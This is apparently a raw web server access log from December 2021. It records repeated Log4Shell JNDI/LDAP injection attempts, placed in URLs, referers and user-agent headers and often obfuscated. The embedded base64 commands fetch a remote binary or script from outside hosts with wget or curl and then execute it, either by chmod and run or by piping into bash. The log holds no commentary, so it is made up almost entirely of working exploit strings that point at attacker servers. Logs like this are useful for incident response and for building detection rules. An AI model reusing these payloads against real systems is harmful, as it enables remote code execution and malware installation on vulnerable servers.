147.182.202.30 - - [20/Dec/2021:21:08:38 +0100] "GET / HTTP/1.1" 301 535 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.132.224:1389/Basic/Command/Base64//d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.132.224:1389/Basic/Command/Base64//d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9ydW47IGN1cmwgLU8gaHR0cDovLzE1Mi42Ny42My4xNTAvcnVuOyBjaG1vZCA3NzcgcnVuOyAuL3J1biByY2UueDg2}')"
195.54.160.149 - - [21/Dec/2021:08:04:49 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
223.111.180.119 - - [21/Dec/2021:14:07:13 +0100] "GET /${jndi:ldap://185.246.87.50:1389/Exploit} HTTP/1.1" 301 604 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
223.111.180.119 - - [21/Dec/2021:14:07:14 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://185.246.87.50:1389/Exploit}"
191.232.38.25 - - [21/Dec/2021:18:56:23 +0100] "GET /${jndi:ldap://185.246.87.50:1389/Exploit} HTTP/1.1" 301 604 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
191.232.38.25 - - [21/Dec/2021:18:56:24 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://185.246.87.50:1389/Exploit}"
170.210.45.163 - - [21/Dec/2021:23:29:42 +0100] "GET /${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
170.210.45.163 - - [21/Dec/2021:23:29:43 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://192.46.216.224:1389/Exploit}"
170.210.45.163 - - [21/Dec/2021:23:29:43 +0100] "GET /?s=${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
195.54.160.149 - - [22/Dec/2021:04:36:48 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
46.105.95.220 - - [22/Dec/2021:09:12:15 +0100] "GET /${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
46.105.95.220 - - [22/Dec/2021:09:12:15 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://192.46.216.224:1389/Exploit}"
46.105.95.220 - - [22/Dec/2021:09:12:15 +0100] "GET /?s=${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
185.184.152.140 - - [22/Dec/2021:10:41:27 +0100] "GET /${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
185.184.152.140 - - [22/Dec/2021:10:41:27 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://192.46.216.224:1389/Exploit}"
185.184.152.140 - - [22/Dec/2021:10:41:28 +0100] "GET /?s=${jndi:ldap://192.46.216.224:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
195.54.160.149 - - [22/Dec/2021:14:27:44 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
5.157.38.50 - - [22/Dec/2021:22:36:00 +0100] "GET /${jndi:ldap://142.93.172.227:1389/Exploit} HTTP/1.1" 404 5196 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
5.157.38.50 - - [22/Dec/2021:22:36:00 +0100] "GET / HTTP/1.1" 200 30308 "-" "${jndi:ldap://142.93.172.227:1389/Exploit}"
5.157.38.50 - - [22/Dec/2021:22:36:00 +0100] "GET /?s=${jndi:ldap://142.93.172.227:1389/Exploit} HTTP/1.1" 200 30308 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
195.54.160.149 - - [23/Dec/2021:00:55:04 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [23/Dec/2021:10:59:38 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [23/Dec/2021:10:59:38 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
185.184.152.140 - - [23/Dec/2021:18:32:19 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://185.203.118.200:1389/Exploit}"
195.54.160.149 - - [23/Dec/2021:21:57:11 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10004 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [24/Dec/2021:07:18:53 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [24/Dec/2021:07:18:54 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10008 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [24/Dec/2021:17:56:57 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10003 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
170.210.45.163 - - [25/Dec/2021:01:23:47 +0100] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 301 606 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
170.210.45.163 - - [25/Dec/2021:01:23:47 +0100] "GET / HTTP/1.1" 301 516 "-" "${jndi:ldap://121.140.99.236:1389/Exploit}"
195.54.160.149 - - [25/Dec/2021:03:53:27 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [25/Dec/2021:03:53:27 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10007 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [25/Dec/2021:14:39:09 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10003 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [25/Dec/2021:23:50:32 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [25/Dec/2021:23:50:32 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10007 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [26/Dec/2021:11:03:21 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10003 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [26/Dec/2021:20:36:48 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [26/Dec/2021:20:36:48 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10007 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [27/Dec/2021:07:42:44 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10003 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"
195.54.160.149 - - [27/Dec/2021:17:39:49 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [27/Dec/2021:17:39:49 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10007 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
